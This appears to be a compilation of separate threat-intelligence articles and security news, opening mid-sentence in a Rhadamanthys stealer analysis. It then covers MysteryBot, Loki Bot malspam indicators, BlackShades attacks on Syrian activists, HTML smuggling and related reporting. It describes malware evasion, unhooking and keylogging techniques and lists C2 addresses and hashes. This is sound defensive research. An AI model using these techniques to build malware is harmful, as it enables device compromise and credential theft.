`LocalAlloc`. The beginning of the decrypted data will look like this. Next, at address `00450314`, we see the call for `VirtualAlloc`. Don't forget to observe the allocated memory using follow in dump of the EAX register. **sub_45003A** is a memcpy that copies data from one variable to another. It will get the decrypted content and our newly allocated memory as arguments and copy the data to it. Finally, at address `00450365`, we have a “call ebx” that will take us into our allocated memory at offset `5BAB`, which is another shellcode. ### Summarizing the First Shellcode To summarize the entire shellcode activity, we can look at it from a code point of view and from the following graph. ## Second Shellcode Decryption The second shellcode, aka Rhadamanthys loader, serves as the actual loader of the Rhadamanthys stealer. This shellcode has multiple evasion capabilities, which we will observe. ### Evasion Technique: Multiple Anti-Analysis The Rhadamanthys loader contains large anti-analysis checks stolen from the al-khaser project. Some checks include verifying for a virtual environment, checking for specific users that could hint at a lab environment, and checking for security-related DLLs. At this point, it will be useless to continue writing the anti-analysis capabilities, so for those who want to see all, please visit the al-khaser project GitHub page. ### Evasion Technique: Manipulate Exception Handling One of the most interesting capabilities of the Rhadamanthys loader is exception-handling manipulation. According to Microsoft’s documentation, Structured Exception Handling (SEH) is a Microsoft extension to C and C++ to handle exceptional code situations gracefully. The SEH is a linked list with two pointers: one to the next SEH record and another to the function that deals with the error. The loader gets the address of `ZwQueryInformationProcess`, saves it in another variable, and enters the function named `sub_5978`. In `sub_5978`, the loader gets the address of `KiUserExceptionDispatcher` and iterates to search for a specific location where `ZwQueryInformationProcess` is called. In `sub_5A5C`, the loader sets the hook in the desired location of the call to `ZwQueryInformationProcess`. After the change, the call is replaced to jump to a function in the loader that performs `ZwQueryInformationProcess` and modifies the ProcessInformation flag to be `6D` or `MEM_EXECUTE_OPTION_IMAGE_DISPATCH_ENABLE`. This flag determines whether to allow execution outside the memory space of the loaded module, enabling exception handling to be performed on shellcode. Without being noticed, the initial dropper has registered an SEH record in the process memory with the name `_except_handler3`. Therefore, every exception triggered by the shellcode will go there and be managed by whatever logic the author decided. This activity is likely done to avoid raising suspicions if errors or exceptions trigger anomalies. ### Evasion Technique: Avoiding Error Messages After controlling the exceptions, the loader uses the API call `SetErrorMode` with `0x8003` as an argument. This argument consists of three parts: the system does not display the critical-error-handler message box, does not display the Windows Error Reporting dialog, and does not display a message box when it fails to find a file. In other words, the loader doesn't want the system to display any error on the screen and wants to handle them by itself. ### Evasion Technique: Creating Mutex and Impersonating a Legitimate The loader creates a Mutex with a name that starts with “Global\MSCTF.Asm.{digits}.” Mutexes with this name are already found in the OS and are created by `MSCTF.dll`. ### Evasion Technique: Disabling Hooks In the function named `sub_8060`, we see a trick to protect against user mode hooking. It first gets a handle to `ntdll.dll` and loads it into virtual memory, then gets the handle of the real `ntdll.dll` that is already loaded. It copies the bytes of the SYSCALL of `ZwProtectVirtualMemory` into another virtual memory to use it without explicitly using `ZwProtectVirtualMemory` in the ntdll address space. It will then get the export table of both real and fake modules and iterate on them. They will be compared using `memcmp`, and if differences are found, the loader will change the protection of the real function of `ntdll` and use `memcpy` to copy the data from the fake to the real one. This verifies that no hooks are set. If we inspect it dynamically, we can see that the virtual address is different but the bytes are the same. For learning purposes, if we change the first byte of the real function to start with `E9`, the loader will take us to the `memcpy` function that copies the data from the fake to the real to correct the change. ### Config Decryption The config decryption occurs in a function named `sub_3DD4`, which performs various activities required by the main loader. In `sub_3DD4`, we have two functions that deal with config decryption: `sub_28AA` and `sub_2911`. **sub_28AA** is essentially an RC4 algorithm, while **sub_2911** is also part of the decryption algorithm. When stepping over `sub_2911` dynamically, we can see the data that holds the encrypted config. In our case, we can see that the C2 will be `http://185[.]209.160.99/blob/top.mp4`. ### Network Activity To start the network activity, the loader first collects two key pieces of information from the machine: the default language and the locale. The same function will set the user-agent to send the data to the C2, which is the decrypted config. To communicate, the loader dynamically resolves multiple functions such as `socket`, `WSAIotcl`, and `CreateCompletionPort` to use the IOCP socket model. The loader uses `WSAIoctl` to invoke a handler for `LPFN_CONNECTEX` to use the `ConnectEx` function. Eventually, the loader communicates with the APIs `WSARecv` and `WSASend`. ### Loader’s Goal After performing its various capabilities and tricks, the loader will execute its main goal: download a DLL from the C2, write it to disk with a specific name, and spawn to execute the DLL with the export function, which is a name of a legitimate export function of `printui.dll`. ## NSIS Module: The Rhadamanthys Stealer The NSIS module consists of two parts: a loader (the NSIS module before unpacking) and the actual stealer. The loader is executed via a very long command that changes with every iteration. The interesting aspect of the NSIS loader is that many loaders exist, but their detection rate is very low. For the loader behavior, the NSIS loader allocates data using `LocalAlloc` and copies it to mapped memory using `MapViewOfFile` and `memmove`. Eventually, it jumps to the shellcode address. Due to time constraints, I will not display this shellcode; however, it is a small shellcode that unpacks and injects the Rhadamanthys stealer into memory. ## Rhadamanthys Stealer Capabilities Finally, we arrive at the stealer itself! The malware appears to be able to use the DLL `KeePassHax`, an open-source tool used to decrypt the password database. It can collect and extract data using SQLite and targets multiple browsers, including: 1. Coc CoC 2. Pale Moon 3. Sleipnir5 4. Opera 5. Chrome 6. Twinkstar 7. Firefox 8. Edge The malware also targets OpenVPN, Steam accounts, FileZilla passwords, CoreFTP, Discord, Telegram data, various email clients, and sensitive registry keys of WinSCP. It targets cryptocurrency entities and wallets, querying registry keys for digital currency entities. The stealer resolves APIs dynamically using `GetModuleHandle` and `GetProcAddress` API calls. It also modifies and possibly manipulates AVAST modules, targeting AVAST-related modules such as `aswhook.dll` and `aswAMSI.dll`. At this stage, I decided to stop my analysis. For everyone's convenience, I uploaded all the files from my analysis, including the shellcodes, to VirusTotal.
# MysteryBot: A New Android Banking Trojan Ready for Android 7 and 8 ## Intro While processing our daily set of suspicious samples, our detection rule for the Android banking trojan LokiBot matched a sample that seemed quite different than LokiBot itself, urging us to take a closer look at it. Looking at the bot commands, we first thought that LokiBot had been improved. However, we quickly realized that there is more going on: the name of the bot and the name of the panel changed to “MysteryBot”, even the network communication changed. During investigation of its network activity, we found out that MysteryBot and LokiBot Android banker are both running on the same C&C server. This quickly brought us to an early conclusion that this newly discovered malware is either an update to LokiBot or another banking trojan developed by the same actor. To consolidate evidence, we searched some other sources and found more matches between samples of both malware using the same C&C. ## Capabilities This bot has most generic Android banking Trojan functionalities but seems to be willing to surpass the average. The overlay, key logging, and ransomware functionalities are novel and are explained in detail in the section hereafter. All of the bot commands and respective features are listed below. - **CallToNumber**: Calls a given phone number from the infected device - **Contacts**: Gets contact list information (phone number and name of contacts) - **De_Crypt**: No code present, in development (probably decrypts the data/reverses the ransomware process) - **ForwardCall**: Forwards incoming calls of the device to another number - **GetAlls**: Shortened for GetAllSms, copies all the SMS messages from the device - **GetMail**: No code present, in development (probably stealing emails from the infected device) - **Keylogg**: Copies and saves keystrokes performed on the infected device - **ResetCallForwarding**: Stops the forwarding of incoming calls - **Screenlock**: Encrypts all files in the external storage directory and deletes all contact information on the device - **Send_spam**: Sends a given SMS message to each contact in the contact list of the device - **Smsmnd**: Replaces the default SMS manager on the device, meant for SMS interception - **StartApp**: No code present, in development (probably allows to remotely start application on the infected device) - **USSD**: Calls a USSD number from the infected device - **dell_sms**: Deletes all SMS messages on the device - **send_sms**: Sends a given SMS message to a specific number The following screenshot shows the dropdown list that enables the operator to launch specific commands on the bot. ## Overlays Module Made Ready for Android 7/8 With the introduction of versions 7 and 8 of Android, the previously used overlay techniques were rendered inaccessible, forcing financially motivated threat actors to find a new way to use overlays in their banking malware. During the past three months, some of the largest Android banking malware families, such as ExoBot 2.5, Anubis II, and DiseaseBot, have been exploring new techniques to time the overlay attack correctly on Android 7 and 8. The success of the overlay attacks relies on timing, luring the victim on a fake page asking for credentials or credit card information at the moment the related app is opened by the victim. Mistiming the overlay would make the overlay screen appear at an unexpected moment, resulting in the victim realizing the presence of the malware. This has been made difficult with the restrictions employed by Security-Enhanced Linux (SELinux) and other security controls (sandbox restrictions) in Android 7 and 8. Hence, actors have been working hard on finding new ways to time overlays correctly, which resulted in many technical debates in the Android banking trojan criminal ecosystem. A new technique has been conceived and is currently being used; it abuses the Android PACKAGE_USAGE_STATS permission (commonly named Usage Access permission). The code of MysteryBot has been consolidated with the PACKAGE_USAGE_STATS technique. Because abusing this Android permission requires the victim to provide the permissions for usage, MysteryBot employs the popular AccessibilityService, allowing the Trojan to enable and abuse any required permission without the consent of the victim. Experience has shown us that users often grant application Device Administrator and AccessibilityService permissions, empowering the malware to perform further actions on the infected device. It seems that the reason for the victims to grant such permissions and the number of benign apps nowadays asking for exhaustive sets of permissions make it common for users to grant permissions without reviewing the permissions requested. At the moment, MysteryBot is not using such MO to get the Usage Access permission but will ask the victim directly. The screenshot below shows the malware (hidden as a fake Adobe Flash Player application) once installed, listed with the applications requesting the Usage Access permission. Once the victim is triggered into providing the permission, the status of the malicious app will change to “On”. While performing the investigation of this new technique, we recreated the logic used by the actors to detect the app in the foreground to confirm that abuse of this permission would allow overlays to work. The test resulted positively; we could indeed get the package name of the application in the foreground. ## Key Logging Based on Touch Data (New) Upon analyzing the keylogger functionality, it struck us as odd that none of the known keylogging techniques were used. The two other well-known Android banking Trojans embedding a keylogging module (CryEye and Anubis) do abuse the Android Accessibility Service to log the keystrokes or make screenshots upon keypresses; however, this technique requires the victim to grant Accessibility Service permission after installing the malware (hence requiring more user interaction to be successful). MysteryBot seems to use a new and innovative technique to log keystrokes. It considers that each key of the keyboard has a set location on the screen, on any given phone and regardless if the phone is held horizontally or vertically. It also takes into consideration that each key has the same size and therefore is the same number of pixels away from the previous key. To summarize, it looks like this technique calculates the location for each row and places a View over each key. This view has a width and height of 0 pixels, and due to the “FLAG_SECURE” setting used, the views are not visible in screenshots. Each view is then paired to a specific key in such a way that it can register the keys that have been pressed, which are then saved for further use. At the time of writing, the code for this keylogger seems to still be under development as there is no method yet to send the logs to the C2 server. ## Ransomware The locker/ransomware clients are managed from a separate dashboard dubbed “Myster_L0cker”. MysteryBot also embeds a ransomware feature allowing itself to encrypt individually all files in the external storage directory, including every subdirectory, after which the original files are deleted. The encryption process puts each file in an individual ZIP archive that is password protected; the password is the same for all ZIP archives and is generated during runtime. When the encryption process is completed, the user is greeted with a dialog accusing the victim of having watched pornographic material. To retrieve the password and be able to decrypt the files, the user is instructed to e-mail the actor. During the analysis of the ransomware functionality, two points of failure came out: 1. The password used during the encryption is only 8 characters long and consists of all characters of the Latin alphabet (upper and lower case) combined with numbers. The total amount of characters to pick from is 62, leaving the total possible combinations a total of 62 to the power of 8, which could be brute-forced with the relevant processing power. 2. The ID assigned to each victim can be a number between 0 and 9999. Since there is no verification of existing ID, it is possible that another victim with the same ID exists in the C2 database, overwriting the ID in the C2 database. This results in the impossibility for older victims with duplicated ID to recover their files. ## Overlay Targets The get_inj_list action retrieves the targeted apps with overlays from the C&C server. The list of actual targeted apps is still under development at the time of writing. ## Conclusion Although certain Android banking malware families such as ExoBot 2.5, Anubis II, and DiseaseBot have been exploring new techniques to perform overlay attacks on Android 7 and 8, it seems that the actor(s) behind MysteryBot have successfully implemented a workaround solution and have spent some time on innovation. The implementation of the overlay attack abuses the Usage Access permission in order to run on all versions of the Android operating system, including the latest Android 7 and 8. MysteryBot actor(s) did innovate keylogging with this new implementation, effectively lowering detection rates and limiting the user interaction required to enable the logger. The ransomware also includes a new highly annoying capability that deletes the contacts in the contact list of the infected device, something not observed in banking malware until now. Next to that, although still in development, another function caught our attention; based on the naming convention in use, it seems that the function named GetMail is meant to collect email messages from the infected device. The enhanced overlay attacks also running on the latest Android versions combined with advanced keylogging and the potential under-development features will allow MysteryBot to harvest a broad set of Personal Identifiable Information in order to perform fraud. In the last 6 months, we observed that capabilities such as a proxy, keylogging, remote access (RAT), sound recording, and file uploading have become more and more common; we suspect this trend to only grow in the future. The issue with such functionalities is that besides bypassing security and detection measures, those features make threats less targeting but more opportunistic. For example, keylogging, remote access, file upload, and sound recording allow for advanced information harvesting without specific triggers (information can be stolen and recorded even if the victim doesn’t perform online banking). If our expectation of an increase in such behavior turns out to be true, it means that it will become difficult for financial institutions to assess whether or not they are targeted by specific threats and that all infected devices can be sources of fraud and espionage.
# Security Researcher MalwareTech Pleads Guilty Marcus "MalwareTech" Hutchins, the British security researcher known for stopping the WannaCry ransomware outbreak, has pleaded guilty today to writing malware in the years prior to his prodigious career as a malware researcher. "I regret these actions and accept full responsibility for my mistakes," Hutchins wrote in a statement posted on his website. "Having grown up, I've since been using the same skills that I misused several years ago for constructive purposes. I will continue to devote my time to keeping people safe from malware attacks." ## Up to Ten Years in Prison According to court documents obtained by ZDNet, Hutchins pleaded guilty to two counts, and the government agreed to drop the other eight. He pleaded guilty to entering a conspiracy to create and distribute malware, and in aiding and abetting its distribution. For each count, Hutchins faces up to five years in prison, up to $250,000 in fines, and up to one year of supervised release. US authorities arrested Hutchins at the Las Vegas international airport in August 2017, when the researcher was trying to return home to the UK after participating at the Black Hat and DEF CON security conferences. Hutchins was charged with developing the Kronos and UPAS-Kit malware strains—two banking trojans. He was also charged with working with a co-conspirator—identified only as "Vinny," "VinnyK," and "Aurora123"—to advertise and sell the two malware strains online. This happened between July 2012 and September 2015, before Hutchins built a career as a talented security researcher. ## Controversial Case Hutchins' arrest was controversial for many reasons. He argued that he was detained and interrogated while sleep-deprived and intoxicated, and that FBI agents misled him about the true intentions of the interrogation. Further, his lawyers also argued that Hutchins' actions happened while he was still a minor, and outside the standard five-year statute of limitations. The prosecution responded by piling new charges—such as developing the UPAS-Kit trojan (he was initially only charged with developing the Kronos malware) and with lying to the FBI during his interrogation. These later charges were deemed ludicrous by some US legal experts. Ultimately, Hutchins' team failed in their attempt to suppress statements made during the FBI's interrogation following his arrest, and his case was locked for a jury trial in Madison, Wisconsin. Hutchins' sentencing hearing has not been set. ## Helping the Infosec Community After his arrest, Hutchins has been released on bail and has been living in Los Angeles while awaiting trial. He was prohibited from working for his employer, US-based cyber-security firm Kryptos Logic, but Hutchins has turned his focus on sharing his malware analysis skills with the rest of the information security (infosec) community. Over the course of the past one and a half years, Hutchins has been publishing written and video malware analysis tutorials. He is considered one of today's most talented security researchers.
# Indicators Over Cocktails: Exporting Indicators from Iris ## Introduction Each month on our Indicators over Cocktails series, we take a look at some specific features of DomainTools products. We mainly focus on Iris, but the April edition also delved briefly into PhishEye. We do these mini-training sessions with recent adversary campaign infrastructure as the example data, often expanding beyond published indicator lists to find new domains and IP addresses that are likely tied to identified campaigns or clustered activities that may or may not have formal campaign classifications. Oh, and we quaff tasty beverages too. For May, the beverage was the delicious but often cheaply-made Mai Tai. Here’s the recipe: If you’re like me, most of the Mai Tais you’ve had over the years were almost certainly made from a pre-mix which was probably about 85% sugar. The recipe above is from a speakeasy in New York called PDT, and they know how to make drinks the right way. Salud! ## I’ve Finished My Investigation: Now What? The training for May covered various ways to take the data you’ve developed in Iris and make it available for further actions, which could range from the defensive (building firewall/IPS rules, building detections) to the administrative (generating reports for management, GRC, etc.) to the collaborative (sharing investigations with other Iris users, or sharing indicators with trust groups or law enforcement). Iris provides five distinct ways to share information. To illustrate this, we looked at infrastructure related to a campaign FireEye has called “Ghostwriter,” by a group they call UNC1151. It’s a cyber espionage group targeting several specific countries, and a big part of their TTPs involves stealing credentials and then posing as the victims, posting on their social media accounts. They target victims of significance so as to spread their messages (mainly anti-NATO) as broadly as possible. We took a couple of indicators posted by Kyle Ehmke on May 13, and expanded from them to develop a list of dozens of domains that have a lot in common with confirmed UNC1151 infrastructure. Many of these domains have not at this point been put on block lists, but their nefarious purposes are pretty clear. ## Breadcrumbs, But With a Difference The screenshot below shows the Search History in Iris. It forms a sort of breadcrumb trail of each pivot or new search you take during the course of your investigation. The nodes of the trail can carry various pieces of information. In the example, we’ve got the first node in focus, which has the two domains that Kyle posted on the 13th. Some of the other nodes have a little number on them. That number shows one of the methods of sharing information in Iris: it represents the number of notes the investigator has pinned to that step of the investigation. One of the nodes has the number 2 on it, and a star. The star can be added to any node to call it out as significant, and the two notes give context on why that step of the investigation is useful. “But wait,” you might be thinking. “How is that sharing?” Here’s how: Iris allows you to share an investigation with other Iris users in your DomainTools group. If you work on a team and more than one of you investigates infrastructure in Iris, the notes you create can be seen by your co-investigators. ## Pass the Hash No, that’s not a drug reference, nor is it a reference to a cyber adversary technique. Rather, Iris allows you to export a hash of any query, so that another Iris user who may not be part of your group can look at the same query that you ran. When you share in this way, the other party does not see investigation notes or any of your search history (breadcrumbs), but they do see the results of the same query that you had made. ## Reporting for Duty Sometimes a formal investigation report is required, whether for leadership, peers, or just as part of a documentation requirement in your organization. Iris allows you to generate a .pdf report that shows the investigative steps you took and various manifestations of the data you uncovered, including indicator lists, search hashes, and detailed domain information. The description of the investigation as well as any notes you added along the way are recorded in the .pdf report. ## Machine-Readable Exports You might also wish to share the indicators you developed in Iris with others who will use the data programmatically. Iris allows you to export the data to a .csv file, or to STIX versions 1.2 or 2.0. The latter is particularly useful for users in ISACs or other trust groups. The .csv export can be used for generation of detections or firewall rules. The .csv export’s columns will show whatever columns you have active in the Pivot Engine. For some use cases, you might choose to show only the domain and IP address columns, and for others you might want everything. ## Choose Your Export Which way you export or share data from Iris depends on your needs and whom you’re sharing the data with. Below is one way to think about it, but your own needs might rearrange some of the check marks. | | Security | Admins / Users | Leadership or GRC | Trust Group | DX | Law Enforcement | Business Ecosystem | |----------------|----------|----------------|-------------------|-------------|----|------------------|--------------------| | .pdf Report | ✔️ | ✔️ | ✔️ | ✔️ | ✔️ | ✔️ | ✔️ | | .csv Export | ✔️ | ✔️ | ✔️ | ✔️ | ✔️ | ✔️ | ✔️ | | STIX Export | ✔️ | ✔️ | ✔️ | ✔️ | ✔️ | ✔️ | ✔️ | | Query Hash | ✔️ | ✔️ | ✔️ | ✔️ | ✔️ | ✔️ | ✔️ | If you missed the live IOC webinar, you can revisit it here, and you can sign up for future installments here. Hope to see you there soon, and...cheers!
# Exclusive: National Guard Called in to Thwart Cyberattack in Louisiana Weeks Before Election (Reuters) - The Louisiana National Guard was called in to stop a series of cyberattacks aimed at small government offices across the state in recent weeks, highlighting the cyber threat facing local governments in the run-up to the 2020 U.S. presidential election. The situation in Louisiana follows a similar case in Washington state, where hackers infected some government offices with a type of malware known for deploying ransomware, which locks up systems and demands payment to regain access. Senior U.S. security officials have warned since at least 2019 that ransomware poses a risk to the U.S. election, namely that an attack against certain state government offices around the election could disrupt systems needed to administer aspects of the vote. It is unclear if the hackers sought to target systems tied to the election in Louisiana or were simply hoping for a payday. Yet the attacks raised alarms because of the potential harm it could have led to and due to evidence suggesting a sophisticated hacking group was involved. Experts investigating the Louisiana incidents found a tool used by the hackers that was previously linked to a group associated with the North Korean government. That tool was described as a remote access trojan, or RAT, used to infiltrate computer networks. Cybersecurity analysts who have examined this RAT - known as “KimJongRat” - say some of its code had been publicized in a computer virus repository, where hackers could copy it; making attribution to North Korea less certain. While staff at several government offices in northern Louisiana were successfully compromised as part of the campaign, the cyberattack was stopped in its early stages before significant harm was done. The Louisiana National Guard declined to comment on the incidents. A spokesman for the Louisiana State Police said they were called in to investigate the cyberattacks but declined further comment. The Governor’s office said they could not comment on an ongoing investigation. Tyler Brey, a spokesman for the Louisiana Secretary of State’s office, said Louisiana is a “top down state,” where election data is centrally stored at the secretary of state’s office, which can make it easier for election officials to recover from cyberattacks. One person familiar with the events said they assessed the hacker’s objective was to infect computers with ransomware, but added that it was difficult to determine because the attack was stopped in its early phases. If so, Louisiana wouldn’t be the first. Over the last year, several U.S. cities have been victimized by ransomware, including incidents in Baltimore, Maryland, and Durham, North Carolina. Jen Miller Osborn, deputy director of threat intelligence for U.S. cybersecurity company Palo Alto Networks, tracked a hacking group last year that used KimJongRat. She said it would be “atypical” for the group she’s studied to conduct a cyber operation for financial gain. A prior cybersecurity research report in 2013 by Luxembourg firm iTrust Consulting noted that KimJongRat was written with Korean computer code which carried references to the North Korean leader’s family members. Emotet, an increasingly common trojan often used against banks, was also deployed by the attackers and found on computers in Louisiana. When staff were hacked, their email accounts would sometimes be co-opted by the hackers to send malware to other colleagues. On October 6, the Homeland Security Department’s cybersecurity division, known as CISA, published an alert saying Emotet was being used to target numerous local government offices across the country. In recent cases where cybercriminals have gone after local government offices as the election approaches, U.S. officials along with technology companies such as Microsoft Corp are racing to better understand if the hackers share connections with foreign intelligence agencies from Russia, Iran, China, and North Korea. “It’s a very interesting question and something we are digging into and trying to find data, information, and intelligence that would help us understand that better,” Microsoft Vice President Tom Burt said in a recent interview. “There are a small number of criminal groups who are responsible for the majority of the ransomware attacks and so understanding who they are, how they’re organized, who they work with, where they are operating from, is something we’re working on,” Burt added. Microsoft is among a select group of cybersecurity companies helping respond to the attacks in Washington, where they’ve offered cybersecurity protection software for free to local government officials until the election. A Microsoft spokesperson declined to comment on the company’s work there.
# Evasive Maneuvers: HTML Smuggling Explained **Jovi Umawing** **November 15, 2021** Microsoft Threat Intelligence Center (MSTIC) last week disclosed “a highly evasive malware delivery technique that leverages legitimate HTML5 and JavaScript features” that it calls HTML smuggling. HTML smuggling has been used in targeted, spear-phishing email campaigns that deliver banking Trojans (such as Mekotio), remote access Trojans (RATs) like AsyncRAT/NJRAT, and Trickbot. These are malware that aid threat actors in gaining control of affected devices and delivering ransomware or other payloads. MSTIC said the technique was used in a spear-phishing attack by the notorious NOBELIUM, the threat actor behind the noteworthy, nation-state cyberattack on SolarWinds. ## How HTML Smuggling Works ### What is HTML Smuggling? HTML smuggling got its name from the way attackers smuggle in or hide an encoded malicious JavaScript blob within an HTML email attachment. Once a user receives the email and opens this attachment, their browser decodes the malformed script, which then assembles the malware payload onto the affected computer or host device. Usually, malware payloads go through the network when someone opens a malicious attachment or clicks a malicious link. In this case, the malware payload is created within the host. This means that it bypasses email filters, which usually look for malicious attachments. HTML smuggling is a particular threat to an organization’s network because it bypasses customary security mitigation settings aimed at filtering content. Even if, for example, an organization has disabled the automatic execution of JavaScript within its environment—this could stop the JavaScript blob from running—it can still be affected by HTML smuggling as there are multiple ways to implement it. According to MSTIC, obfuscation and the many ways JavaScript can be coded could evade conventional JavaScript filters. HTML smuggling isn’t new, but MSTIC notes that many cybercriminals are embracing its use in their own attack campaigns. “Such adoption shows how tactics, techniques, and procedures (TTPs) trickle down from cybercrime gangs to malicious threat actors and vice versa … It also reinforces the current state of the underground economy, where such TTPs get commoditized when deemed effective.” Some ransomware gangs have already started using this new delivery mechanism, and this could be early signs of a fledgling trend. Even organizations confident with their perimeter security are called to double back and take mitigation steps to detect and block phishing attempts that could involve HTML smuggling. As we can see, disabling JavaScript is no longer enough. ### Staying Secure Against HTML Smuggling Attacks A layered approach to security is needed to successfully defend against HTML smuggling. Microsoft suggests killing the attack chain before it even begins. Start off by checking for common characteristics of HTML smuggling campaigns by applying behavior rules that look for: - An HTML file containing suspicious script - An HTML file that obfuscates a JS - An HTML file that decodes a Base64 JS script - A ZIP file email attachment containing JS - A password-protected attachment Organizations should also configure their endpoint security products to block: - JavaScript or VBScript from automatically running a downloaded executable file - Running potentially obfuscated scripts - Executable files from running “unless they meet a prevalence, age, or trusted list criterion” BleepingComputer recommends other mitigating steps, such as associating JavaScript files with a text editor like Notepad. This prevents the script from actually running but would let the user view its code safely instead. Finally, organizations must educate their employees about HTML smuggling and train them on how to respond to it properly when encountered. Instruct them to never run a file that ends in either .js or .jse as these are JavaScript files. They should be deleted immediately. Stay safe!
# LOKI BOT MALSPAM - SUBJECT: RE: PURCHASE ORDER 457211 ## ASSOCIATED FILES: - ZIP archive of the pcap: 2017-06-12-Loki-Bot-malspam-traffic.pcap.zip (2.5 kB) - 2017-06-12-Loki-Bot-malspam-traffic.pcap (9,334 bytes) - ZIP archive of the malware: 2017-06-12-Loki-Bot-malspam-and-artifacts.zip (486 kB) - 2017-06-12-Loki-bot-malspam-0137-UTC.eml (213,873 bytes) - PO12062017.ace (157,430 bytes) - PO12062017.exe (327,680 bytes) ## NOTES: Somewhat similar to the Loki Bot malspam documented on 2017-06-07. Today the email had a ZIP archive attachment containing a Word document with an embedded .js file that downloaded Loki Bot. This time it was an ACE archive attachment that contained the Loki Bot binary. ## EMAIL HEADERS: - Date: Monday 2017-06-12 at 01:37 UTC - From: "Amina Diab" <[email protected]> - Subject: Re: PURCHASE ORDER 457211 - Attachment: PO12062017.ace ## TRAFFIC: Traffic from the infection filtered in Wireshark. ## ASSOCIATED DOMAINS: - 192.99.2.94 port 80 - POST /~sadrenam/mmt/Panel/five/fre.php ## FILE HASHES ### ACE ARCHIVE FROM THE EMAIL: - SHA256 hash: 42306a26580cf29068f1a716aaa61d1a4921b2206f3e8234d86d6fcc607d7be8 - File size: 157,430 bytes - File name: PO12062017.ace ### MALICIOUS BINARY EXTRACTED FROM THE ACE ARCHIVE (LOKI BOT): - SHA256 hash: 7e9c05cff0e0ac10640100c801c3f56470fb6166bbf4e67fa28c63af683458e4 - File size: 327,680 bytes - File name: PO12062017.exe - File location on the infected host: C:\Users\[username]\AppData\Roaming\subfolder\filename.exe ### SUSPICIOUS FILE NOTED ON THE INFECTED HOST: - SHA256 hash: 121118a0f5e0e8c933efd28c9901e54e42792619a8a3a6d11e1f0025a7324bc2 - File location: C:\Users\[username]\AppData\Roaming\C72387\7571BA.exe - File size: 20,992 bytes - File description: Appears to be a legitimate Microsoft file named svchost.exe ## FINAL NOTES Once again, here are the associated files: - ZIP archive of the pcap: 2017-06-12-Loki-Bot-malspam-traffic.pcap.zip (2.5 kB) - ZIP archive of the malware: 2017-06-12-Loki-Bot-malspam-and-artifacts.zip (486 kB) ZIP files are password-protected with the standard password. If you don't know it, look at the "about" page of this website.
# BlackShades in Syria As reported by the Electronic Frontier Foundation (EFF), a new Trojan is being spread to Syrian activists in an attempt to employ electronic surveillance on the group and its members. This Trojan is the BlackShades RAT, previously discussed in a series on different RATs found in the wild. The first blog post on DarkComet has also been used against the activists in the past. ## Background Syria is currently undergoing a serious and bloody internal war between the government and the opposition forces or activists who want to see the tyranny and injustice shown by the country’s top leaders come to an end. Beyond attempting to squash opposition on the ground with the use of tanks and guns, attempts have been made to do the same in the cyber arena, by pitting people against each other and destroying communication, while collecting vital information on the communications of the activists. Three types of Remote Access Trojans/Tools have been used against the activists with various methods of infection. ## Infection According to the EFF, the hackers infecting the systems of the Syrian activists are the same ones who previously infected them with DarkComet. They accomplished this by leading the victims to a fake YouTube video page with anti-government themes. Upon accessing these pages, the download and installation of an Adobe Flash Update would be required; however, the updater executable was actually a DarkComet implant in disguise. This allowed victims to log in with their real YouTube credentials, which would then be stolen and used against the activists. The new infection method used with BlackShades includes distributing the implants through Skype as a “.pif” file. The EFF documented this based on a sample obtained by an officer of the Free Syrian Army through his Skype account. After downloading and executing the file, it automatically infected his system and sent out the same link to all of his contacts, describing the download as an “Important Video.” ## Evading Detection BlackShades NET can create implant binaries that employ custom obfuscation algorithms or Crypters, which can be bought through the Bot/Crypter marketplace embedded in the BlackShades controller. The implant sample collected from infected systems of the Syrian activists uses one of these custom Crypters to hide the implant binary from detection. According to Citizen Lab, at the time they released their results online, the malware variant was undetected by any of the antivirus engines used by VirusTotal. However, Malwarebytes detected the samples noted as ‘Undetected’ by Citizen Lab nine days before the release of the Citizen Lab report. ### Implant Infection Breakdown To summarize the infection process: - Once downloaded and executed, the “.pif” file drops multiple files into the User “Templates” and “Temp” directories. - The malware creates multiple registry entries to allow the dropped files access to the internet without being stopped by the local Windows firewall. - The malware establishes persistence by creating an “AutoRun” registry key for a dropped file named “VSCover.exe,” which runs an internal decryption algorithm revealing the hidden BlackShades implant executable. - Initially, the implant beacons to TCP port 4444 to the website alosh55.myftp.org, which has a similar naming convention to the beacon address for the previously used DarkComet RAT. ## Personal Observations The hackers using BlackShades NET for their espionage purposes have violated the terms of use agreement. EFF mentioned that one of the capabilities of BlackShades is installing a keylogger and a screenshot grabber, which can have severe implications if the information obtained is put in the wrong hands. ### Keylogging Keylogging is a simple feature available to BlackShades users. Using this functionality, hackers can obtain: - Login credentials for chat clients, forums, social networking accounts, and bank information. - The text of emails and chat sessions between activists, which can be used to obtain plans for activist rallies and anti-government actions. ### Remote Controlling BlackShades has the capability to remotely control a system, allowing hackers to: - Disable antivirus protection against further malware. - Steal files and documents from the victim's system. - Reroute network traffic. - Monitor the activities of the victim. ### Webcam Viewing The ability to remotely activate and monitor the webcam allows hackers to: - Obtain visual identification of persons using the system flagged as being used by activists. - Gather intelligence on resources discussed in front of a webcam. - Determine the possible location of the system based on visual cues. BlackShades includes many more features useful to government-sponsored hackers, such as activating ransomware functionality, using the infected system as a proxy, and listening in on conversations. ## Protecting Yourself Unlike Flame, which had little likelihood of reaching the general public, BlackShades is a real threat to the average user. It is used not only in political conflicts but also to steal information and exploit individuals. Malwarebytes Anti-Malware can detect obfuscated BlackShades implants and works in conjunction with pre-existing antivirus software to add a second layer of protection. ## Conclusion The hackers behind the attacks on Syrian activists are not employing sophisticated methods of espionage but are using tactics similar to those of average cybercriminals. The use of default settings and publicly available RATs indicates a lack of skill in cyber espionage. This case highlights the prevalence of publicly available malware being used for significant purposes, such as war or cyber-espionage.
